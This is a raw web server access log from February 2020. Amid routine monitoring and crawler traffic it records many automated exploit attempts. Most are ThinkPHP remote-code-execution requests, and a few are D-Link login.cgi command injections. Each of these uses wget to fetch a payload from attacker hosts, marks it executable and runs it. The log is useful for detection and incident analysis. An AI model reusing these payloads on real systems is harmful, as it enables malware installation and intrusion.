42.117.130.121 - - [11/Feb/2020:07:59:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:07:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.49.235.137 - - [11/Feb/2020:07:59:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:08:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.14.250.199 - - [11/Feb/2020:08:00:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
185.204.183.98 - - [11/Feb/2020:08:00:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:08:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.119.214.35 - - [11/Feb/2020:08:02:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.104.100.209 - - [11/Feb/2020:08:04:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
1.53.84.20 - - [11/Feb/2020:08:05:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.47.228 - - [11/Feb/2020:08:06:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.156.189 - - [11/Feb/2020:08:06:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.88.38 - - [11/Feb/2020:08:09:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
107.21.1.8 - - [11/Feb/2020:08:13:02 +0100] "GET / HTTP/1.1" 200 1229 "http://www.friedrich-list-berlin.de/" "Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)"
107.21.1.8 - - [11/Feb/2020:08:13:02 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "http://www.friedrich-list-berlin.de/favicon.ico" "Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)"
212.91.246.72 - - [11/Feb/2020:08:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.32.28 - - [11/Feb/2020:08:15:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.154.68.16 - - [11/Feb/2020:08:16:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:08:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.43.143 - - [11/Feb/2020:08:19:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.202.169 - - [11/Feb/2020:08:19:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.6 - - [11/Feb/2020:08:20:15 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
213.178.54.106 - - [11/Feb/2020:08:20:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:08:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.241.106.153 - - [11/Feb/2020:08:20:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.143.245.19 - - [11/Feb/2020:08:21:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:22:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [11/Feb/2020:08:24:49 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.34 - - [11/Feb/2020:08:25:03 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
5.251.205.234 - - [11/Feb/2020:08:25:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.42.195.84 - - [11/Feb/2020:08:25:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.97.20.34 - - [11/Feb/2020:08:25:18 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:08:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [11/Feb/2020:08:26:00 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
83.97.20.34 - - [11/Feb/2020:08:26:14 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
212.91.246.72 - - [11/Feb/2020:08:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.133.214 - - [11/Feb/2020:08:29:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:30:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:31:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.17.13 - - [11/Feb/2020:08:33:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.211.105.74 - - [11/Feb/2020:08:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:08:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.176.79 - - [11/Feb/2020:08:37:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
93.73.51.80 - - [11/Feb/2020:08:37:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.238.105 - - [11/Feb/2020:08:37:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
43.225.169.242 - - [11/Feb/2020:08:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.71.75.43 - - [11/Feb/2020:08:38:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.38 - - [11/Feb/2020:08:38:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.130.230 - - [11/Feb/2020:08:43:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.130.230 - - [11/Feb/2020:08:43:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.6 - - [11/Feb/2020:08:44:10 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:08:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.123.16.108 - - [11/Feb/2020:08:48:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.224.36.212 - - [11/Feb/2020:08:49:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.180.86.47 - - [11/Feb/2020:08:50:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.184.61.10 - - [11/Feb/2020:08:50:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:08:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.204.252 - - [11/Feb/2020:08:51:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:08:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.164.140 - - [11/Feb/2020:08:54:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.88.87.190 - - [11/Feb/2020:08:55:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.78.164.201 - - [11/Feb/2020:08:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
110.78.164.201 - - [11/Feb/2020:08:55:27 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
110.78.164.201 - - [11/Feb/2020:08:55:27 +0100] "POST /Admin53f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:08:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:08:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.148.249.77 - - [11/Feb/2020:09:00:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.85.91.19 - - [11/Feb/2020:09:01:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.242.103.29 - - [11/Feb/2020:09:01:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:09:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.90.154.105 - - [11/Feb/2020:09:07:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:09:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.24.175.169 - - [11/Feb/2020:09:09:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:09:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.17.205 - - [11/Feb/2020:09:09:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
122.128.74.253 - - [11/Feb/2020:09:10:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [11/Feb/2020:09:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.80 - - [11/Feb/2020:09:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
